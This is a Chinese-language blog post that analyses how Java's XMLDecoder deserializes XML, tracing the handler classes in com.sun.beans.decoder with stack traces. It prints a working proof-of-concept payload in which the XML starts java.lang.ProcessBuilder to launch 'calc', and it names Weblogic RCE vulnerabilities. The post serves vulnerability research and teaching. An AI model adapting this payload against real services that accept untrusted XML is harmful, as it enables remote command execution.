XMLDecoder解析造成的问题
简介
XMLDecoder是java自带的以SAX方式解析xml的类,其在反序列化经过特殊构造的数据时可执行任意命令。在Weblogic中由于多个包wls-wast
、wls9_async_response war
、_async
使用了该类进行反序列化操作,出现了了多个RCE漏洞。
本文不会讲解weblogic的xml相关的洞,只是分析下Java中xml反序列化的流程,采用JDK2U21。
什么是SAX
SAX全称为Simple API for XML
,在Java中有两种原生解析xml的方式,分别是SAX和DOM。两者区别在于:
- Dom解析功能强大,可增删改查,操作时会将xml文档以文档对象的方式读取到内存中,因此适用于小文档
- Sax解析是从头到尾逐行逐个元素读取内容,修改较为不便,但适用于只读的大文档
SAX采用事件驱动的形式来解析xml文档,简单来讲就是触发了事件就去做事件对应的回调方法。
在SAX中,读取到文档开头、结尾,元素的开头和结尾以及编码转换等操作时会触发一些回调方法,你可以在这些回调方法中进行相应事件处理:
- startDocument()
- endDocument()
- startElement()
- endElement()
- characters()
自己实现一个基于SAX的解析可以帮我们更好的理解XMLDecoder
1package com.xml.java;
2
3import org.xml.sax.Attributes;
4import org.xml.sax.SAXException;
5import org.xml.sax.helpers.DefaultHandler;
6
7import javax.xml.parsers.SAXParser;
8import javax.xml.parsers.SAXParserFactory;
9import java.io.File;
10
11public class DemoHandler extends DefaultHandler {
12 public static void main(String[] args) {
13 SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
14 try {
15 SAXParser parser = saxParserFactory.newSAXParser();
16 DemoHandler dh = new DemoHandler();
17 String path = "src/main/resources/calc.xml";
18 File file = new File(path);
19 parser.parse(file, dh);
20 } catch (Exception e) {
21 e.printStackTrace();
22 }
23 }
24
25 @Override
26 public void characters(char[] ch, int start, int length) throws SAXException {
27 System.out.println("characters()");
28 super.characters(ch, start, length);
29 }
30
31 @Override
32 public void startDocument() throws SAXException {
33 System.out.println("startDocument()");
34 super.startDocument();
35 }
36
37 @Override
38 public void endDocument() throws SAXException {
39 System.out.println("endDocument()");
40 super.endDocument();
41 }
42
43 @Override
44 public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
45 System.out.println("startElement()");
46 for (int i = 0; i < attributes.getLength(); i++) {
47 // getQName()是获取属性名称,
48 System.out.print(attributes.getQName(i) + "=\"" + attributes.getValue(i) + "\"\n");
49 }
50 super.startElement(uri, localName, qName, attributes);
51 }
52
53 @Override
54 public void endElement(String uri, String localName, String qName) throws SAXException {
55 System.out.println("endElement()");
56 System.out.println(uri + localName + qName);
57 super.endElement(uri, localName, qName);
58 }
59}
输出了
1startDocument()
2startElement()
3characters()
4startElement()
5class="java.lang.ProcessBuilder"
6characters()
7startElement()
8class="java.lang.String"
9length="1"
10characters()
11startElement()
12index="0"
13characters()
14startElement()
15characters()
16endElement()
17string
18characters()
19endElement()
20void
21characters()
22endElement()
23array
24characters()
25startElement()
26method="start"
27endElement()
28void
29characters()
30endElement()
31object
32characters()
33endElement()
34java
35endDocument()
可以看到,我们通过继承SAX的DefaultHandler类,重写其事件方法,就能拿到XML对应的节点、属性和值。那么XMLDecoder也是基于SAX实现的xml解析,不过他拿到节点、属性、值之后通过Expression创建对象及调用方法。接下来我们就来分析下XMLDecoder将XML解析为对象的过程。
XMLDecoder反序列化分析
所有的xml处理代码均在com.sun.beans.decoder
包下。先弹一个计算器
1<java>
2 <object class="java.lang.ProcessBuilder">
3 <array class="java.lang.String" length="1" >
4 <void index="0">
5 <string>calc</string>
6 </void>
7 </array>
8 <void method="start"/>
9 </object>
10</java>
1package com.xml.java;
2
3import java.beans.XMLDecoder;
4import java.io.BufferedInputStream;
5import java.io.File;
6import java.io.FileInputStream;
7import java.io.FileNotFoundException;
8
9public class Main {
10 public static void main(String[] args) {
11 String path = "src/main/resources/calc.xml";
12 File file = new File(path);
13 FileInputStream fis = null;
14 try {
15 fis = new FileInputStream(file);
16 } catch (FileNotFoundException e) {
17 e.printStackTrace();
18 }
19 BufferedInputStream bis = new BufferedInputStream(fis);
20 XMLDecoder xmlDecoder = new XMLDecoder(bis);
21 xmlDecoder.readObject();
22 xmlDecoder.close();
23 }
24}
运行弹出计算器,在java.lang.ProcessBuilder#start打断点,堆栈如下:
1start:1006, ProcessBuilder (java.lang)
2invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
3invoke:57, NativeMethodAccessorImpl (sun.reflect)
4invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
5invoke:601, Method (java.lang.reflect)
6invoke:75, Trampoline (sun.reflect.misc)
7invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
8invoke:57, NativeMethodAccessorImpl (sun.reflect)
9invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
10invoke:601, Method (java.lang.reflect)
11invoke:279, MethodUtil (sun.reflect.misc)
12invokeInternal:292, Statement (java.beans)
13access$000:58, Statement (java.beans)
14run:185, Statement$2 (java.beans)
15doPrivileged:-1, AccessController (java.security)
16invoke:182, Statement (java.beans)
17getValue:153, Expression (java.beans)
18getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
19getValueObject:123, NewElementHandler (com.sun.beans.decoder)
20endElement:169, ElementHandler (com.sun.beans.decoder)
21endElement:309, DocumentHandler (com.sun.beans.decoder)
22endElement:606, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
23emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers)
24scanStartElement:1303, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
25next:2717, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
26next:607, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
27scanDocument:489, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
28parse:835, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
29parse:764, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
30parse:123, XMLParser (com.sun.org.apache.xerces.internal.parsers)
31parse:1210, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
32parse:568, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
33parse:302, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
34run:366, DocumentHandler$1 (com.sun.beans.decoder)
35run:363, DocumentHandler$1 (com.sun.beans.decoder)
36doPrivileged:-1, AccessController (java.security)
37doIntersectionPrivilege:76, ProtectionDomain$1 (java.security)
38parse:363, DocumentHandler (com.sun.beans.decoder)
39run:201, XMLDecoder$1 (java.beans)
40run:199, XMLDecoder$1 (java.beans)
41doPrivileged:-1, AccessController (java.security)
42parsingComplete:199, XMLDecoder (java.beans)
43readObject:250, XMLDecoder (java.beans)
44main:21, Main (com.xml.java)
XMLDecoder跟进readObject()
跟进parsingComplete()
其中this.handler
为DocumentHandler
到这里进入com.sun.beans.decoder.DocumentHandler#parse
圈住的代码其实和我们写的DemoHandler
里一模一样,通过SAXParserFactory
工厂创建了实例,进而newSAXParser
拿到SAX解析器,调用parse
解析,那么接下来解析的过程,我们只需要关注DocumentHandler的几个事件函数就行了。
在DocumentHandler
的构造函数中指定了可用的标签类型
对应了com.sun.beans.decoder
包中的几个类
在startElement中首先解析java
标签,然后设置Owner和Parent。
this.getElementHandler(var3)
对应的就是从构造方法中放入this.handlers
的hashmap取出对应的值,如果不是构造方法中的标签,会抛出异常。
然后解析object
标签,拿到属性之后通过addAttribute()设置属性
在addAttribute()没有对class属性进行处理,抛给了父类com.sun.beans.decoder.NewElementHandler#addAttribute
会通过findClass()去寻找java.lang.ProcessBuilder
类
通过classloader寻找类赋值给type
赋值完之后跳出for循环进入this.handler.startElement()
,不满足条件。
接下来解析array
标签,同样使用addAttribute对属性赋值
同样抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute
处理
继续抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute
接下来继续设置length属性
最后进入com.sun.beans.decoder.ArrayElementHandler#startElement
因为ArrayElementHandler类没有0个参数的getValueObject()重载方法,但是它继承了NewElementHandler,所以调用com.sun.beans.decoder.NewElementHandler#getValueObject()
这个getValueObject重新调用ArrayElementHandler#getValueObject
两个参数的重载方法
ValueObjectImpl.create(Array.newInstance(var1, this.length))
创建了长度为1、类型为String的数组并返回,到此处理完array标签。
接着处理void,创建VoidElementHandler,设置setOwner和setParent。
调用父类com.sun.beans.decoder.ObjectElementHandler#addAttribute
设置index属性
继续解析string标签,不再赘述。
解析完所有的开始标签之后,开始解析闭合标签,最开始就是,进入到endElement()
StringElementHandler没有endElement(),调用父类ElementHandler的endElement()
调用本类的getValueObject()
接着闭合void
闭合array
然后开始解析<void method="start"/>
通过父类的addAttribute将this.method赋值为start
随后闭合void标签
调用endElement
,VoidElementHandler
类没有,所以调用父类ObjectElementHandler.endElement
调用NewElementHandler
类无参getValueObject
然后调用VoidElementHandler
类有参getValueObject
,但是VoidElementHandler
没有这个方法,所以调用VoidElementHandler
父类ObjectElementHandler
的有参getValueObject
1protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
2 if (this.field != null) {
3 return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
4 } else if (this.idref != null) {
5 return ValueObjectImpl.create(this.getVariable(this.idref));
6 } else {
7 Object var3 = this.getContextBean();
8 String var4;
9 if (this.index != null) {
10 var4 = var2.length == 2 ? "set" : "get";
11 } else if (this.property != null) {
12 var4 = var2.length == 1 ? "set" : "get";
13 if (0 < this.property.length()) {
14 var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
15 }
16 } else {
17 var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
18 }
19
20 Expression var5 = new Expression(var3, var4, var2);
21 return ValueObjectImpl.create(var5.getValue());
22 }
23 }
跟进Object var3 = this.getContextBean()
,因为本类没有getContextBean(),所以调用父类NewElementHandler的getContextBean()
继续调用NewElementHandler父类ElementHandler的getContextBean()
会调用this.parent.getValueObject()
也就是ObjectElementHandler类,而ObjectElementHandler没有无参getValueObject()方法,会调用其父类NewElementHandler的方法
最终var3的值为java.lang.ProcessBuilder
。
var4赋值为start
通过Expression的getValue()方法反射调用start,弹出计算器。
Expression和Statement
两者都是Java对反射的封装,举个例子
1package com.xml.java.beans;
2
3public class User {
4 private int id;
5 private String name;
6
7 @Override
8 public String toString() {
9 return "User{" +
10 "id=" + id +
11 ", name='" + name + '\'' +
12 '}';
13 }
14
15 public int getId() {
16 return id;
17 }
18
19 public void setId(int id) {
20 this.id = id;
21 }
22
23 public String getName() {
24 return name;
25 }
26
27 public void setName(String name) {
28 this.name = name;
29 }
30
31 public String sayHello(String name) {
32 return String.format("你好 %s!", name);
33 }
34}
1package com.xml.java;
2
3import com.xml.java.beans.User;
4
5import java.beans.Expression;
6import java.beans.Statement;
7
8public class TestMain {
9 public static void main(String[] args) {
10 testStatement();
11 testExpression();
12 }
13
14 public static void testStatement() {
15 try {
16 User user = new User();
17 Statement statement = new Statement(user, "setName", new Object[]{"张三"});
18 statement.execute();
19 System.out.println(user.getName());
20 } catch (Exception e) {
21 e.printStackTrace();
22 }
23 }
24
25 public static void testExpression() {
26 try {
27 User user = new User();
28 Expression expression = new Expression(user, "sayHello", new Object[]{"小明"});
29 expression.execute();
30 System.out.println(expression.getValue());
31 } catch (Exception e) {
32 e.printStackTrace();
33 }
34 }
35}
运行结果
1张三
2你好 小明!
Expression是可以获得返回值的,方法是getValue()。Statement不能获得返回值。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论